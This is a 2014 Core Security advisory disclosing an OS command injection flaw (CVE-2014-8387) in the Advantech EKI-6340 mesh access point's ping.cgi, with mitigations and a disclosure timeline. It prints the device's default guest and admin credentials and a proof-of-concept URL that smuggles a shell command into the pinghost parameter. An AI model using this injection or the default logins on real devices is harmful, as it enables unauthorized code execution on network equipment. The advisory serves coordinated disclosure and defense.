Advantech EKI-6340 - Command Injection

Core Security - Corelabs Advisory

http://corelabs.coresecurity.com/



Advantech EKI-6340 Command Injection





1. *Advisory Information*



Title: Advantech EKI-6340 Command Injection

Advisory ID: CORE-2014-0009

Advisory URL:

http://www.coresecurity.com/advisories/advantech-eki-6340-command-injection

Date published: 2014-11-19

Date of last update: 2014-11-19

Vendors contacted: Advantech

Release mode: User release





2. *Vulnerability Information*



Class: OS Command Injection [CWE-78]

Impact: Code execution

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2014-8387





3. *Vulnerability Description*





    The Advantech EKI-6340 [1] series are wireless Mesh AP for outdoor

deployment. With self-healing and self-forming capabilities, the

wireless network is free from interruption even part of Mesh nodes

failed. It's especially critical to infrastructures where wired

solutions are hard to deploy. This Mesh network covers growing rich data

demands such as video security, surveillance and entertainment.



    Advantech EKI-6340 series is vulnerable to a OS Command Injection,

which can be exploited by remote attackers to execute arbitrary code and

commands, by using a non privileged user against a vulnerable CGI file.





4. *Vulnerable packages*





   . Advantech EKI-6340 V2.05

   . Other versions may probably be affected too, but they were not checked.





5. *Vendor Information, Solutions and Workarounds*





    Considering that the vendor is not going to fix or update this

device the following recommendations should be taken into consideration

in case of using a vulnerable device:



        - Change the 'guest' user password (or delete the user in case

is not used)

        - Edit the fshttpd.conf and remove the line

'guest_allow=/cgi/ping.cgi'.

        - Check that the 'admin' user doesn't has the default password

as well.

    



6. *Credits*





    This vulnerability was discovered and researched by Facundo Pantaleo

and Flavio Cangini from Core Security Engineering Team. The publication

of this advisory was coordinated by Joaquín Rodríguez Varela from Core

Advisories Team.

    



7. *Technical Description / Proof of Concept Code*





    This vulnerability is caused by an incorrect sanitization of the

input parameters of the file "ping.cgi" that is a symbolic link of

"utility.cgi".

It allows to concatenate commands after the IP direction parameter,

therefore enabling a user to inject OS commands. The "call_ping"

function inside the file "/usr/webui/webroot/cgi/utility.cgi" is where

the vulnerability lays.

    

    The CGI file requieres authentication, but the "admin" user is not

the only one allowed to execute it. Based on the webservers default

configuration file, the "guest" has permissons over it as well. This

user is rarely disbled and its password tends to remain unchanged. This

default credentials are username "user" and password "user" as well.

Below is an example of the webserver (based on Mongoose webserver [2])

default configuration file "fshttpd.conf":

    



/-----

 

    listening_ports=80,443s

    user_admin=admin

    pass_admin=admin

    user_guest=user

    pass_guest=user

    document_root=/usr/webui/webroot

    authorize_uri=/authorize

    unauthorize_uri=/unauthorize

    login_uri=/login.html

    logout_uri=/logout.html

    login_fail_uri=/err/login_fail.html

    sessions_full_uri=/err/nosessions.html

    no_redirect_uri=/cgi/fwupstatus.cgi

    guest_allow=/admin/FWUPStatus.html

    guest_allow=/status/*

    guest_allow=/utility/Ping.html

    guest_allow=/utility/RssiCalc.html

    guest_allow=/utility/FresnelZone.html

    guest_allow=/cgi/ping.cgi

    guest_allow=/cgi/status_query.cgi

    guest_allow=/cgi/nodeinfo_query_MAC.cgi

    guest_allow=/cgi/nodeinfo_query.cgi

    guest_allow=/cgi/nodeinfo_query_AP.cgi

    guest_allow=/cgi/fwupstatus.cgi

    nologin_allow=/

    nologin_allow=/index.*

    nologin_allow=/css/*

    nologin_allow=/template/*

    nologin_allow=/images/*

    nologin_allow=/images/dhtmlxcalendar_dhx_skyblue/*

    nologin_allow=/js/*

    nologin_allow=/favicon.ico

    nologin_allow=/err/*



-----/





7.1. *Proof of Concept*





/-----

 

      

   

http://localhost:80/cgi/ping.cgi?pinghost=127.0.0.1;sleep%2010&pingsize=3

     

    When requested for credentials use the following:

     

    User: user

    Password: user

      

    

-----/





8. *Report Timeline*



. 2014-10-01:



    Initial notification sent to ICS-CERT informing of the vulnerability

and requesting the vendor's contact information.

      

. 2014-10-01:



    ICS-CERT informs that they will ask the vendor if they want to

coordinate directly with us or if they prefer to have ICS-CERT mediate.

They request the vulnerability report.

      

. 2014-10-01:



    ICS-CERT informs that the vendor answered that they would like the

ICS-CERT to mediate the coordination of the advisory. They requested

again the vulnerability report.

      

. 2014-10-01:



    We send the vulnerability detail, including technical description

and a PoC.

 

. 2014-10-09:



    We request a status update on the reported vulnerability.

      

. 2014-10-20:



    ICS-CERT informs that the vendor plans to discontinue EKI-6340 early

next year and therefore they will not fix it.

      

. 2014-11-13:



    We inform them that we will publish this advisory as user release on

Wednesday 19th of November.

      

. 2014-11-19:



    Advisory CORE-2014-0009 published.





9. *References*



[1]

http://www.advantech.com.tw/products/56bfcf50-1ada-4ac6-aaf5-4e726ebad002/EKI-6340/mod_04f43dee-f991-44f1-aa1b-bbb1b30f2a72.aspx.

    

[2] https://code.google.com/p/mongoose/.

    



10. *About CoreLabs*



    CoreLabs, the research center of Core Security, is charged with

anticipating the future needs and requirements for information security

technologies. We conduct our research in several important areas of

computer security including system vulnerabilities, cyber attack

planning and simulation, source code auditing, and cryptography. Our

results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

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http://corelabs.coresecurity.com.

    



11. *About Core Security*





    Core Security enables organizations to get ahead of threats with

security test and measurement solutions that continuously identify

and demonstrate real-world exposures to their most critical assets. Our

customers can gain real visibility into their security standing, real

validation of their security controls, and real metrics to more

effectively secure their organizations.

    

    Core Security's software solutions build on over a decade of trusted

research and leading-edge threat expertise from the company's Security

Consulting Services, CoreLabs and Engineering groups. Core Security can

be reached at +1 (617) 399-6980 or on the Web at:

http://www.coresecurity.com.





12. *Disclaimer*



    The contents of this advisory are copyright (c) 2014 Core Security

and (c) 2014 CoreLabs, and are licensed under a Creative Commons

Attribution Non-Commercial Share-Alike 3.0 (United States) License:

http://creativecommons.org/licenses/by-nc-sa/3.0/us/





13. *PGP/GPG Keys*





    This advisory has been signed with the GPG key of Core Security

advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.